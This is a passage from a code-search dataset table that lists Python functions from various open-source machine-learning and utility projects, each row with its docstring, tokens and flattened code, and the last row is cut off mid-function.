project_name stringlengths 6 104 | file_name stringlengths 4 89 | full_name stringlengths 1 102 | func_name stringlengths 1 85 | docstring stringlengths 13 836 | docstring_tokens listlengths 4 122 | code stringlengths 23 39.7k | code_tokens stringlengths 29 44.6k | url int64 3 986k |
|---|---|---|---|---|---|---|---|---|
fudan-zvg/SETR | openimages.py | OpenImagesDataset.add_supercategory_ann | add_supercategory_ann | Add parent classes of the corresponding class of the ground truth bboxes. | [
"Add",
"parent",
"classes",
"of",
"the",
"corresponding",
"class",
"of",
"the",
"ground",
"truth",
"bboxes."
] | def add_supercategory_ann(self, annotations):
for (i, ann) in enumerate(annotations):
assert len(ann['labels']) == len(ann['bboxes']) == len(ann['gt_is_group_ofs'])
gt_bboxes = []
gt_is_group_ofs = []
gt_labels = []
for j in range(len(ann['labels'])):
label = ann[... | ['def', 'add_supercategory_ann(self,', 'annotations):', 'for', '(i,', 'ann)', 'in', 'enumerate(annotations):', 'assert', "len(ann['labels'])", '==', "len(ann['bboxes'])", '==', "len(ann['gt_is_group_ofs'])", 'gt_bboxes', '=', '[]', 'gt_is_group_ofs', '=', '[]', 'gt_labels', '=', '[]', 'for', 'j', 'in', "range(len(ann['... | 897,971 |
sek788432/Waymo-2D-Object-Detection | trainer.py | Trainer.train_step | train_step | The logic for one training step. | [
"The",
"logic",
"for",
"one",
"training",
"step."
] | def train_step(self, inputs):
with tf.GradientTape() as tape:
(logits, _, _) = self(inputs, mode='train', training=True)
targets = models.remove_sos_from_seq(inputs['target_ids'], self.params.pad_token_id)
loss = transformer_metrics.transformer_loss(logits, targets, self.params.label_smoothi... | ['def', 'train_step(self,', 'inputs):', 'with', 'tf.GradientTape()', 'as', 'tape:', '(logits,', '_,', '_)', '=', 'self(inputs,', "mode='train',", 'training=True)', 'targets', '=', "models.remove_sos_from_seq(inputs['target_ids'],", 'self.params.pad_token_id)', 'loss', '=', 'transformer_metrics.transformer_loss(logits,'... | 972,748 |
neardws/Game-Theoretic-Deep-Reinforcement-Learning | learning.py | get_first_available_accelerator_type | get_first_available_accelerator_type | Returns the first available accelerator type listed in a wishlist. | [
"Returns",
"the",
"first",
"available",
"accelerator",
"type",
"listed",
"in",
"a",
"wishlist."
] | def get_first_available_accelerator_type(wishlist: Sequence[str]=('TPU', 'GPU', 'CPU')) -> str:
get_visible_devices = tf.config.get_visible_devices
for wishlist_device in wishlist:
devices = get_visible_devices(device_type=wishlist_device)
if devices:
return wishlist_device
avail... | ['def', 'get_first_available_accelerator_type(wishlist:', "Sequence[str]=('TPU',", "'GPU',", "'CPU'))", '->', 'str:', 'get_visible_devices', '=', 'tf.config.get_visible_devices', 'for', 'wishlist_device', 'in', 'wishlist:', 'devices', '=', 'get_visible_devices(device_type=wishlist_device)', 'if', 'devices:', 'return', ... | 199,665 |
NUAAXQ/MLCVNet | loss_helper.py | compute_vote_loss | compute_vote_loss | Compute vote loss: Match predicted votes to GT votes. | [
"Compute",
"vote",
"loss:",
"Match",
"predicted",
"votes",
"to",
"GT",
"votes."
] | def compute_vote_loss(end_points):
batch_size = end_points['seed_xyz'].shape[0]
num_seed = end_points['seed_xyz'].shape[1]
vote_xyz = end_points['vote_xyz']
seed_inds = end_points['seed_inds'].long()
seed_gt_votes_mask = torch.gather(end_points['vote_label_mask'], 1, seed_inds)
seed_inds_expand ... | ['def', 'compute_vote_loss(end_points):', 'batch_size', '=', "end_points['seed_xyz'].shape[0]", 'num_seed', '=', "end_points['seed_xyz'].shape[1]", 'vote_xyz', '=', "end_points['vote_xyz']", 'seed_inds', '=', "end_points['seed_inds'].long()", 'seed_gt_votes_mask', '=', "torch.gather(end_points['vote_label_mask'],", '1,... | 630,115 |
sarnsdev/social-alignment-data-mining | ltisys.py | StateSpace.B | B | Input matrix of the `StateSpace` system. | [
"Input",
"matrix",
"of",
"the",
"`StateSpace`",
"system."
] | def B(self):
return self._B | ['def', 'B(self):', 'return', 'self._B'] | 391,201 |
huawei-noah/xingtian | necks.py | ConvModule.call | call | Forward compute of Conv Module with Normalization. | [
"Forward",
"compute",
"of",
"Conv",
"Module",
"with",
"Normalization."
] | def call(self, x, activate=True, norm=True):
if self.activate_last:
x = self.conv(x)
if norm and self.with_norm:
x = self.norm(x)
if activate and self.with_activatation:
x = self.activate(x)
else:
if norm and self.with_norm:
x = self.norm(x)
... | ['def', 'call(self,', 'x,', 'activate=True,', 'norm=True):', 'if', 'self.activate_last:', 'x', '=', 'self.conv(x)', 'if', 'norm', 'and', 'self.with_norm:', 'x', '=', 'self.norm(x)', 'if', 'activate', 'and', 'self.with_activatation:', 'x', '=', 'self.activate(x)', 'else:', 'if', 'norm', 'and', 'self.with_norm:', 'x', '=... | 962,919 |
Ruturaj123/Flowchart-Detection | rnn_cell.py | UGRNNCell.call | call | Run one step of UGRNN. | [
"Run",
"one",
"step",
"of",
"UGRNN."
] | def call(self, inputs, state):
sigmoid = math_ops.sigmoid
input_size = inputs.get_shape().with_rank(2)[1]
if input_size.value is None:
raise ValueError('Could not infer input size from inputs.get_shape()[-1]')
with vs.variable_scope(vs.get_variable_scope(), initializer=self._initializer):
... | ['def', 'call(self,', 'inputs,', 'state):', 'sigmoid', '=', 'math_ops.sigmoid', 'input_size', '=', 'inputs.get_shape().with_rank(2)[1]', 'if', 'input_size.value', 'is', 'None:', 'raise', "ValueError('Could", 'not', 'infer', 'input', 'size', 'from', "inputs.get_shape()[-1]')", 'with', 'vs.variable_scope(vs.get_variable_... | 604,402 |
ahmedfgad/NumPyCNN | layer.py | Layer.get_output_dim | get_output_dim | Returns ------- tuple Shape of the ndarray layer's output. | [
"Returns",
"-------",
"tuple",
"Shape",
"of",
"the",
"ndarray",
"layer's",
"output."
] | def get_output_dim(self):
raise NotImplementedError | ['def', 'get_output_dim(self):', 'raise', 'NotImplementedError'] | 249,847 |
sunishsheth2009/ChatterBot | idsets.py | DocIdSet.first | first | Returns the first (lowest) integer in the set. | [
"Returns",
"the",
"first",
"(lowest)",
"integer",
"in",
"the",
"set."
] | def first(self):
raise NotImplementedError | ['def', 'first(self):', 'raise', 'NotImplementedError'] | 483,948 |
arshpreetsingh/quantopian-machinelearning | diff.py | compress_merge_back | compress_merge_back | Merge tok into the last element of tokens (modifying the list of tokens in-place). | [
"Merge",
"tok",
"into",
"the",
"last",
"element",
"of",
"tokens",
"(modifying",
"the",
"list",
"of",
"tokens",
"in-place)."
] | def compress_merge_back(tokens, tok):
last = tokens[-1]
if type(last) is not token or type(tok) is not token:
tokens.append(tok)
else:
text = _unicode(last)
if last.trailing_whitespace:
text += last.trailing_whitespace
text += tok
merged = token(text, pre_... | ['def', 'compress_merge_back(tokens,', 'tok):', 'last', '=', 'tokens[-1]', 'if', 'type(last)', 'is', 'not', 'token', 'or', 'type(tok)', 'is', 'not', 'token:', 'tokens.append(tok)', 'else:', 'text', '=', '_unicode(last)', 'if', 'last.trailing_whitespace:', 'text', '+=', 'last.trailing_whitespace', 'text', '+=', 'tok', '... | 887,918 |
Cihsaing/RVSL-rvsl-robust-vehicle-similarity-learning--ECCV22 | distributed_fused_lamb.py | DistributedFusedLAMB.complete_reductions | complete_reductions | Complete reductions if full pipeline is not selected or overlap is not allowed. | [
"Complete",
"reductions",
"if",
"full",
"pipeline",
"is",
"not",
"selected",
"or",
"overlap",
"is",
"not",
"allowed."
] | def complete_reductions(self):
self._init_everything()
if self._last_step:
for (param_i, grad_generated) in enumerate(self._grads_generated):
if not grad_generated:
grad_info = self._grads_info[param_i]
param_offset = grad_info['param_offset']
... | ['def', 'complete_reductions(self):', 'self._init_everything()', 'if', 'self._last_step:', 'for', '(param_i,', 'grad_generated)', 'in', 'enumerate(self._grads_generated):', 'if', 'not', 'grad_generated:', 'grad_info', '=', 'self._grads_info[param_i]', 'param_offset', '=', "grad_info['param_offset']", 'param_size', '=',... | 327,073 |
rifqind/Agent-Programs-3KS1 | style.py | Style.get_attrs_for_style_str | get_attrs_for_style_str | Get `Attrs` for the given style string. | [
"Get",
"`Attrs`",
"for",
"the",
"given",
"style",
"string."
] | def get_attrs_for_style_str(self, style_str, default=DEFAULT_ATTRS):
list_of_attrs = [default]
class_names = set()
for (names, attr) in self.class_names_and_attrs:
if not names:
list_of_attrs.append(attr)
for part in style_str.split():
if part.startswith('class:'):
... | ['def', 'get_attrs_for_style_str(self,', 'style_str,', 'default=DEFAULT_ATTRS):', 'list_of_attrs', '=', '[default]', 'class_names', '=', 'set()', 'for', '(names,', 'attr)', 'in', 'self.class_names_and_attrs:', 'if', 'not', 'names:', 'list_of_attrs.append(attr)', 'for', 'part', 'in', 'style_str.split():', 'if', "part.st... | 45,496 |
Lifelong-Robot-Learning/LIBERO | base_region_sampler.py | MultiRegionRandomSampler.sample | sample | Uniformly sample relative to this sampler's reference_pos or @reference (if specified). | [
"Uniformly",
"sample",
"relative",
"to",
"this",
"sampler's",
"reference_pos",
"or",
"@reference",
"(if",
"specified)."
] | def sample(self, fixtures=None, reference=None, on_top=True):
placed_objects = {} if fixtures is None else copy(fixtures)
if reference is None:
base_offset = self.reference_pos
elif type(reference) is str:
assert reference in placed_objects, 'Invalid reference received. Current options are: ... | ['def', 'sample(self,', 'fixtures=None,', 'reference=None,', 'on_top=True):', 'placed_objects', '=', '{}', 'if', 'fixtures', 'is', 'None', 'else', 'copy(fixtures)', 'if', 'reference', 'is', 'None:', 'base_offset', '=', 'self.reference_pos', 'elif', 'type(reference)', 'is', 'str:', 'assert', 'reference', 'in', 'placed_o... | 601,125 |
nicknochnack/RealTimeSignLanguageTFJS | talking_heads_attention_test.py | TalkingHeadsAttentionTest.test_initializer | test_initializer | Test with a specified initializer. | [
"Test",
"with",
"a",
"specified",
"initializer."
] | def test_initializer(self):
test_layer = talking_heads_attention.TalkingHeadsAttention(num_heads=12, key_dim=64, kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02))
query = tf.keras.Input(shape=(40, 80))
output = test_layer(query=query, value=query)
self.assertEqual(output.shape.as_li... | ['def', 'test_initializer(self):', 'test_layer', '=', 'talking_heads_attention.TalkingHeadsAttention(num_heads=12,', 'key_dim=64,', 'kernel_initializer=tf.keras.initializers.TruncatedNormal(stddev=0.02))', 'query', '=', 'tf.keras.Input(shape=(40,', '80))', 'output', '=', 'test_layer(query=query,', 'value=query)', 'self... | 850,388 |
voxel51/fiftyone | document.py | _Document.to_dict | to_dict | Serializes the document to a JSON dictionary. | [
"Serializes",
"the",
"document",
"to",
"a",
"JSON",
"dictionary."
] | def to_dict(self, include_private=False):
d = self._doc.to_dict(extended=True)
if include_private:
return d
return {k: v for (k, v) in d.items() if not k.startswith('_')} | ['def', 'to_dict(self,', 'include_private=False):', 'd', '=', 'self._doc.to_dict(extended=True)', 'if', 'include_private:', 'return', 'd', 'return', '{k:', 'v', 'for', '(k,', 'v)', 'in', 'd.items()', 'if', 'not', "k.startswith('_')}"] | 582,981 |
kornia/kornia | sold2_detector.py | LineSegmentDetectionModule.refine_junction_perturb | refine_junction_perturb | Refine the line endpoints in a similar way as in LSD. | [
"Refine",
"the",
"line",
"endpoints",
"in",
"a",
"similar",
"way",
"as",
"in",
"LSD."
] | def refine_junction_perturb(self, junctions: Tensor, line_map: Tensor, heatmap: Tensor, H: int, W: int, device: torch.device) -> Tuple[Tensor, Tensor]:
if not isinstance(self.junction_refine_cfg, dict):
raise TypeError(f'Expected to have a dict of config for junction. Gotcha {type(self.junction_refine_cfg)}... | ['def', 'refine_junction_perturb(self,', 'junctions:', 'Tensor,', 'line_map:', 'Tensor,', 'heatmap:', 'Tensor,', 'H:', 'int,', 'W:', 'int,', 'device:', 'torch.device)', '->', 'Tuple[Tensor,', 'Tensor]:', 'if', 'not', 'isinstance(self.junction_refine_cfg,', 'dict):', 'raise', "TypeError(f'Expected", 'to', 'have', 'a', '... | 621,779 |
AgileRL/AgileRL | ddpg.py | DDPG.softUpdate | softUpdate | Soft updates target network. | [
"Soft",
"updates",
"target",
"network."
] | def softUpdate(self, net, target):
for (eval_param, target_param) in zip(net.parameters(), target.parameters()):
target_param.data.copy_(self.tau * eval_param.data + (1.0 - self.tau) * target_param.data) | ['def', 'softUpdate(self,', 'net,', 'target):', 'for', '(eval_param,', 'target_param)', 'in', 'zip(net.parameters(),', 'target.parameters()):', 'target_param.data.copy_(self.tau', '*', 'eval_param.data', '+', '(1.0', '-', 'self.tau)', '*', 'target_param.data)'] | 23,908 |
ddbourgin/numpy-ml | wrappers.py | WrapperBase.gradients | gradients | A dictionary of the current layer parameter gradients. | [
"A",
"dictionary",
"of",
"the",
"current",
"layer",
"parameter",
"gradients."
] | def gradients(self):
return self._base_layer.gradients | ['def', 'gradients(self):', 'return', 'self._base_layer.gradients'] | 730,295 |
dibyaghosh/gcsl | utils.py | parse_env_args | parse_env_args | Parses the given arguments to get an environment ID and parameters. | [
"Parses",
"the",
"given",
"arguments",
"to",
"get",
"an",
"environment",
"ID",
"and",
"parameters."
] | def parse_env_args(arg_parser: Optional[argparse.ArgumentParser]=None, default_env_name: Optional[str]=None) -> Tuple[str, Dict, argparse.Namespace]:
if arg_parser is None:
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-e', '--env_name', required=default_env_name is None, default=defau... | ['def', 'parse_env_args(arg_parser:', 'Optional[argparse.ArgumentParser]=None,', 'default_env_name:', 'Optional[str]=None)', '->', 'Tuple[str,', 'Dict,', 'argparse.Namespace]:', 'if', 'arg_parser', 'is', 'None:', 'arg_parser', '=', 'argparse.ArgumentParser()', "arg_parser.add_argument('-e',", "'--env_name',", 'required... | 201,989 |
TonyLianLong/VAI-ReinforcementLearning | fish.py | Physics.mouth_to_target | mouth_to_target | Returns a vector, from mouth to target in local coordinate of mouth. | [
"Returns",
"a",
"vector,",
"from",
"mouth",
"to",
"target",
"in",
"local",
"coordinate",
"of",
"mouth."
] | def mouth_to_target(self):
data = self.named.data
mouth_to_target_global = data.geom_xpos['target'] - data.geom_xpos['mouth']
return mouth_to_target_global.dot(data.geom_xmat['mouth'].reshape(3, 3)) | ['def', 'mouth_to_target(self):', 'data', '=', 'self.named.data', 'mouth_to_target_global', '=', "data.geom_xpos['target']", '-', "data.geom_xpos['mouth']", 'return', "mouth_to_target_global.dot(data.geom_xmat['mouth'].reshape(3,", '3))'] | 440,861 |
Westlake-AI/OpenBioSeq | distributed_sinkhorn.py | distributed_sinkhorn | distributed_sinkhorn | Apply the distributed sinknorn optimization on the scores matrix to find the assignments. | [
"Apply",
"the",
"distributed",
"sinknorn",
"optimization",
"on",
"the",
"scores",
"matrix",
"to",
"find",
"the",
"assignments."
] | def distributed_sinkhorn(out, sinkhorn_iterations, world_size, epsilon):
eps_num_stab = 1e-12
Q = torch.exp(out / epsilon).t()
B = Q.shape[1] * world_size
K = Q.shape[0]
sum_Q = torch.sum(Q)
if dist.is_initialized():
dist.all_reduce(sum_Q)
Q /= sum_Q
for it in range(sinkhorn_iter... | ['def', 'distributed_sinkhorn(out,', 'sinkhorn_iterations,', 'world_size,', 'epsilon):', 'eps_num_stab', '=', '1e-12', 'Q', '=', 'torch.exp(out', '/', 'epsilon).t()', 'B', '=', 'Q.shape[1]', '*', 'world_size', 'K', '=', 'Q.shape[0]', 'sum_Q', '=', 'torch.sum(Q)', 'if', 'dist.is_initialized():', 'dist.all_reduce(sum_Q)'... | 274,866 |
mfbx9da4/neuron-astrocyte-networks | temp_node.py | ProtoNode.error_func | error_func | This function computes the error function, typically the derivative of the error. | [
"This",
"function",
"computes",
"the",
"error",
"function,",
"typically",
"the",
"derivative",
"of",
"the",
"error."
] | def error_func(self, value):
return self._error_func(value) | ['def', 'error_func(self,', 'value):', 'return', 'self._error_func(value)'] | 722,804 |
mattchorlian/Berkeley-CS188-Spring21 | pacman.py | GameState.generateChild | generateChild | Returns the child state after the specified agent takes the action. | [
"Returns",
"the",
"child",
"state",
"after",
"the",
"specified",
"agent",
"takes",
"the",
"action."
] | def generateChild(self, agentIndex, action):
if self.isWin() or self.isLose():
raise Exception("Can't generate a child of a terminal state.")
state = GameState(self)
if agentIndex == 0:
state.data._eaten = [False for i in range(state.getNumAgents())]
PacmanRules.applyAction(state, ac... | ['def', 'generateChild(self,', 'agentIndex,', 'action):', 'if', 'self.isWin()', 'or', 'self.isLose():', 'raise', 'Exception("Can\'t', 'generate', 'a', 'child', 'of', 'a', 'terminal', 'state.")', 'state', '=', 'GameState(self)', 'if', 'agentIndex', '==', '0:', 'state.data._eaten', '=', '[False', 'for', 'i', 'in', 'range... | 106,347 |
renatopp/liac-chess | app.py | App.switch_player | switch_player | Switch the color of players. | [
"Switch",
"the",
"color",
"of",
"players."
] | def switch_player(self):
if self.players:
team0 = self.players[0].team
team1 = self.players[1].team
self.players[0].team = team1
self.players[1].team = team0
self._update_players()
chess.events.trigger(chess.EVT_PLAYER_SWITCH) | ['def', 'switch_player(self):', 'if', 'self.players:', 'team0', '=', 'self.players[0].team', 'team1', '=', 'self.players[1].team', 'self.players[0].team', '=', 'team1', 'self.players[1].team', '=', 'team0', 'self._update_players()', 'chess.events.trigger(chess.EVT_PLAYER_SWITCH)'] | 216,618 |
Ruturaj123/Flowchart-Detection | nav_env.py | GridWorld.to_actual_xyt_vec | to_actual_xyt_vec | Converts from node array to location array on the map. | [
"Converts",
"from",
"node",
"array",
"to",
"location",
"array",
"on",
"the",
"map."
] | def to_actual_xyt_vec(self, pqr):
p = pqr[:, 0][:, np.newaxis]
q = pqr[:, 1][:, np.newaxis]
r = pqr[:, 2][:, np.newaxis]
if self.task.n_ori == 6:
out = np.concatenate((p - q * 0.5 + self.task.origin_loc[0], q * np.sqrt(3.0) / 2.0 + self.task.origin_loc[1], r), axis=1)
elif self.task.n_ori ==... | ['def', 'to_actual_xyt_vec(self,', 'pqr):', 'p', '=', 'pqr[:,', '0][:,', 'np.newaxis]', 'q', '=', 'pqr[:,', '1][:,', 'np.newaxis]', 'r', '=', 'pqr[:,', '2][:,', 'np.newaxis]', 'if', 'self.task.n_ori', '==', '6:', 'out', '=', 'np.concatenate((p', '-', 'q', '*', '0.5', '+', 'self.task.origin_loc[0],', 'q', '*', 'np.sqrt(... | 585,481 |
TarrySingh/Artificial-Intelligence-Deep-Learning---Tutorials | nb_007a.py | extract_kwargs | extract_kwargs | Extracts the keys in names from the kwargs. | [
"Extracts",
"the",
"keys",
"in",
"names",
"from",
"the",
"kwargs."
] | def extract_kwargs(names: Collection[str], kwargs: KWArgs):
new_kwargs = {}
for arg_name in names:
if arg_name in kwargs:
arg_val = kwargs.pop(arg_name)
new_kwargs[arg_name] = arg_val
return (new_kwargs, kwargs) | ['def', 'extract_kwargs(names:', 'Collection[str],', 'kwargs:', 'KWArgs):', 'new_kwargs', '=', '{}', 'for', 'arg_name', 'in', 'names:', 'if', 'arg_name', 'in', 'kwargs:', 'arg_val', '=', 'kwargs.pop(arg_name)', 'new_kwargs[arg_name]', '=', 'arg_val', 'return', '(new_kwargs,', 'kwargs)'] | 32,428 |
jialeli1/lidarseg3d | data_classes.py | TrackingMetricData.serialize | serialize | Serialize instance into json-friendly format. | [
"Serialize",
"instance",
"into",
"json-friendly",
"format."
] | def serialize(self):
ret_dict = dict()
for metric_name in ['confidence', 'recall_hypo'] + TrackingMetricData.metrics:
ret_dict[metric_name] = self.get_metric(metric_name).tolist()
return ret_dict | ['def', 'serialize(self):', 'ret_dict', '=', 'dict()', 'for', 'metric_name', 'in', "['confidence',", "'recall_hypo']", '+', 'TrackingMetricData.metrics:', 'ret_dict[metric_name]', '=', 'self.get_metric(metric_name).tolist()', 'return', 'ret_dict'] | 601,835 |
megvii-research/MSCL | demo_posec3d.py | detection_inference | detection_inference | Detect human boxes given frame paths. | [
"Detect",
"human",
"boxes",
"given",
"frame",
"paths."
] | def detection_inference(args, frame_paths):
model = init_detector(args.det_config, args.det_checkpoint, args.device)
assert model.CLASSES[0] == 'person', 'We require you to use a detector trained on COCO'
results = []
print('Performing Human Detection for each frame')
prog_bar = mmcv.ProgressBar(len... | ['def', 'detection_inference(args,', 'frame_paths):', 'model', '=', 'init_detector(args.det_config,', 'args.det_checkpoint,', 'args.device)', 'assert', 'model.CLASSES[0]', '==', "'person',", "'We", 'require', 'you', 'to', 'use', 'a', 'detector', 'trained', 'on', "COCO'", 'results', '=', '[]', "print('Performing", 'Huma... | 264,647 |
mfbx9da4/neuron-astrocyte-networks | fitness.py | FitnessList.sorted | sorted | This function returns the fitness list sorted in fitness order according to the fitness type. | [
"This",
"function",
"returns",
"the",
"fitness",
"list",
"sorted",
"in",
"fitness",
"order",
"according",
"to",
"the",
"fitness",
"type."
] | def sorted(self):
if self._fitness_type == MIN:
new_list = [i for i in self]
new_list.sort()
elif self._fitness_type == MAX:
new_list = [i for i in self]
new_list.sort(reverse=True)
elif self._fitness_type == CENTER:
new_list = [[abs(i[0] - self._target_value), i[1]] ... | ['def', 'sorted(self):', 'if', 'self._fitness_type', '==', 'MIN:', 'new_list', '=', '[i', 'for', 'i', 'in', 'self]', 'new_list.sort()', 'elif', 'self._fitness_type', '==', 'MAX:', 'new_list', '=', '[i', 'for', 'i', 'in', 'self]', 'new_list.sort(reverse=True)', 'elif', 'self._fitness_type', '==', 'CENTER:', 'new_list', ... | 722,872 |
gunthercox/ChatterBot | base.py | PerDocumentReader.all_doc_ids | all_doc_ids | Returns an iterator of all (undeleted) document IDs in the reader. | [
"Returns",
"an",
"iterator",
"of",
"all",
"(undeleted)",
"document",
"IDs",
"in",
"the",
"reader."
] | def all_doc_ids(self):
is_deleted = self.is_deleted
return (docnum for docnum in xrange(self.doc_count_all()) if not is_deleted(docnum)) | ['def', 'all_doc_ids(self):', 'is_deleted', '=', 'self.is_deleted', 'return', '(docnum', 'for', 'docnum', 'in', 'xrange(self.doc_count_all())', 'if', 'not', 'is_deleted(docnum))'] | 526,654 |
myothida/Supervised-Machine-Learning | _shgo.py | SHGO.find_minima | find_minima | Construct the minimizer pool, map the minimizers to local minima and sort the results into a global return object. | [
"Construct",
"the",
"minimizer",
"pool,",
"map",
"the",
"minimizers",
"to",
"local",
"minima",
"and",
"sort",
"the",
"results",
"into",
"a",
"global",
"return",
"object."
] | def find_minima(self):
if self.disp:
logging.info('Searching for minimizer pool...')
self.minimizers()
if len(self.X_min) != 0:
self.minimise_pool(self.local_iter)
self.sort_result()
self.f_lowest = self.res.fun
self.x_lowest = self.res.x
else:
self.find_l... | ['def', 'find_minima(self):', 'if', 'self.disp:', "logging.info('Searching", 'for', 'minimizer', "pool...')", 'self.minimizers()', 'if', 'len(self.X_min)', '!=', '0:', 'self.minimise_pool(self.local_iter)', 'self.sort_result()', 'self.f_lowest', '=', 'self.res.fun', 'self.x_lowest', '=', 'self.res.x', 'else:', 'self.fi... | 445,917 |
ashwin-phadke/cvplayground | autoaugment_utils.py | translate_x_only_bboxes | translate_x_only_bboxes | Apply translate_x to each bbox in the image with probability prob. | [
"Apply",
"translate_x",
"to",
"each",
"bbox",
"in",
"the",
"image",
"with",
"probability",
"prob."
] | def translate_x_only_bboxes(image, bboxes, prob, pixels, replace):
func_changes_bbox = False
prob = _scale_bbox_only_op_probability(prob)
return _apply_multi_bbox_augmentation_wrapper(image, bboxes, prob, translate_x, func_changes_bbox, pixels, replace) | ['def', 'translate_x_only_bboxes(image,', 'bboxes,', 'prob,', 'pixels,', 'replace):', 'func_changes_bbox', '=', 'False', 'prob', '=', '_scale_bbox_only_op_probability(prob)', 'return', '_apply_multi_bbox_augmentation_wrapper(image,', 'bboxes,', 'prob,', 'translate_x,', 'func_changes_bbox,', 'pixels,', 'replace)'] | 510,509 |
chribsen/simple-machine-learning-examples | randomized_l1.py | BaseRandomizedLinearModel.get_support | get_support | Return a mask, or list, of the features/indices selected. | [
"Return",
"a",
"mask,",
"or",
"list,",
"of",
"the",
"features/indices",
"selected."
] | def get_support(self, indices=False):
check_is_fitted(self, 'scores_')
mask = self.scores_ > self.selection_threshold
return mask if not indices else np.where(mask)[0] | ['def', 'get_support(self,', 'indices=False):', 'check_is_fitted(self,', "'scores_')", 'mask', '=', 'self.scores_', '>', 'self.selection_threshold', 'return', 'mask', 'if', 'not', 'indices', 'else', 'np.where(mask)[0]'] | 939,455 |
Trusted-AI/adversarial-robustness-toolbox | preprocessor.py | PreprocessorPyTorch.device | device | Type of device on which the classifier is run, either `gpu` or `cpu`. | [
"Type",
"of",
"device",
"on",
"which",
"the",
"classifier",
"is",
"run,",
"either",
"`gpu`",
"or",
"`cpu`."
] | def device(self):
return self._device | ['def', 'device(self):', 'return', 'self._device'] | 397,770 |
mnot/thor | tcp.py | TcpConnection.handle_writable | handle_writable | The connection is ready for writing; write any buffered data. | [
"The",
"connection",
"is",
"ready",
"for",
"writing;",
"write",
"any",
"buffered",
"data."
] | def handle_writable(self) -> None:
if self._write_buffer:
data = b''.join(self._write_buffer)
try:
sent = self.socket.send(data)
except (socket.error, OSError) as why:
if why.args[0] in self.block_errs:
return
if why.args[0] in self.close_e... | ['def', 'handle_writable(self)', '->', 'None:', 'if', 'self._write_buffer:', 'data', '=', "b''.join(self._write_buffer)", 'try:', 'sent', '=', 'self.socket.send(data)', 'except', '(socket.error,', 'OSError)', 'as', 'why:', 'if', 'why.args[0]', 'in', 'self.block_errs:', 'return', 'if', 'why.args[0]', 'in', 'self.close_e... | 355,116 |
apeterswu/RL4NMT | audio.py | timit_generator | timit_generator | Data generator for TIMIT transcription problem. | [
"Data",
"generator",
"for",
"TIMIT",
"transcription",
"problem."
] | def timit_generator(data_dir, tmp_dir, training, how_many, start_from=0, eos_list=None, vocab_filename=None, vocab_size=0):
eos_list = [1] if eos_list is None else eos_list
if vocab_filename is not None:
vocab_symbolizer = generator_utils.get_or_generate_vocab(data_dir, tmp_dir, vocab_filename, vocab_si... | ['def', 'timit_generator(data_dir,', 'tmp_dir,', 'training,', 'how_many,', 'start_from=0,', 'eos_list=None,', 'vocab_filename=None,', 'vocab_size=0):', 'eos_list', '=', '[1]', 'if', 'eos_list', 'is', 'None', 'else', 'eos_list', 'if', 'vocab_filename', 'is', 'not', 'None:', 'vocab_symbolizer', '=', 'generator_utils.get_... | 331,367 |
myothida/Supervised-Machine-Learning | cu2qu.py | calc_intersect | calc_intersect | Calculate the intersection of two lines. | [
"Calculate",
"the",
"intersection",
"of",
"two",
"lines."
] | def calc_intersect(a, b, c, d):
ab = b - a
cd = d - c
p = ab * 1j
try:
h = dot(p, a - c) / dot(p, cd)
except ZeroDivisionError:
return complex(NAN, NAN)
return c + cd * h | ['def', 'calc_intersect(a,', 'b,', 'c,', 'd):', 'ab', '=', 'b', '-', 'a', 'cd', '=', 'd', '-', 'c', 'p', '=', 'ab', '*', '1j', 'try:', 'h', '=', 'dot(p,', 'a', '-', 'c)', '/', 'dot(p,', 'cd)', 'except', 'ZeroDivisionError:', 'return', 'complex(NAN,', 'NAN)', 'return', 'c', '+', 'cd', '*', 'h'] | 360,760 |
triaquae/triaquae | srs.py | SpatialReference.angular_units | angular_units | Returns the value of the angular units. | [
"Returns",
"the",
"value",
"of",
"the",
"angular",
"units."
] | def angular_units(self):
(units, name) = capi.angular_units(self.ptr, byref(c_char_p()))
return units | ['def', 'angular_units(self):', '(units,', 'name)', '=', 'capi.angular_units(self.ptr,', 'byref(c_char_p()))', 'return', 'units'] | 357,647 |
blokbot-io/OpenBlok | annotate.py | masked_areas | masked_areas | Returns the showing the masked background difference in red. | [
"Returns",
"the",
"showing",
"the",
"masked",
"background",
"difference",
"in",
"red."
] | def masked_areas(frame, mask):
visualize_areas = np.zeros_like(frame, np.uint8)
cv2.rectangle(visualize_areas, (0, 0), (frame.shape[1], frame.shape[0]), (0, 0, 255), cv2.FILLED)
if frame.shape != mask.shape:
new_mask = np.zeros_like(frame, np.uint8)
new_mask = cv2.cvtColor(new_mask, cv2.COLO... | ['def', 'masked_areas(frame,', 'mask):', 'visualize_areas', '=', 'np.zeros_like(frame,', 'np.uint8)', 'cv2.rectangle(visualize_areas,', '(0,', '0),', '(frame.shape[1],', 'frame.shape[0]),', '(0,', '0,', '255),', 'cv2.FILLED)', 'if', 'frame.shape', '!=', 'mask.shape:', 'new_mask', '=', 'np.zeros_like(frame,', 'np.uint8)... | 274,930 |
rudranil723/mini-main | blocks.py | Block.delete | delete | Return a new Block with the given loc(s) deleted. | [
"Return",
"a",
"new",
"Block",
"with",
"the",
"given",
"loc(s)",
"deleted."
] | def delete(self, loc) -> Block:
raise AbstractMethodError(self) | ['def', 'delete(self,', 'loc)', '->', 'Block:', 'raise', 'AbstractMethodError(self)'] | 324,052 |
wutong8023/CoLL | testing_utils.py | require_detectron2 | require_detectron2 | Decorator marking a test that requires detectron2. | [
"Decorator",
"marking",
"a",
"test",
"that",
"requires",
"detectron2."
] | def require_detectron2(test_case):
if not is_detectron2_available():
return unittest.skip('test requires `detectron2`')(test_case)
else:
return test_case | ['def', 'require_detectron2(test_case):', 'if', 'not', 'is_detectron2_available():', 'return', "unittest.skip('test", 'requires', "`detectron2`')(test_case)", 'else:', 'return', 'test_case'] | 496,414 |
google-research/rigl | sparse_optimizers_base.py | SparseSETOptimizerBase.generic_mask_update | generic_mask_update | True branch of the condition, updates the mask. | [
"True",
"branch",
"of",
"the",
"condition,",
"updates",
"the",
"mask."
] | def generic_mask_update(self, mask, weights, noise_std=1e-05):
masked_weights = mask * weights
score_drop = math_ops.abs(masked_weights)
score_drop += self._random_normal(score_drop.shape, stddev=noise_std, dtype=score_drop.dtype, seed=hash(weights.name + 'drop'))
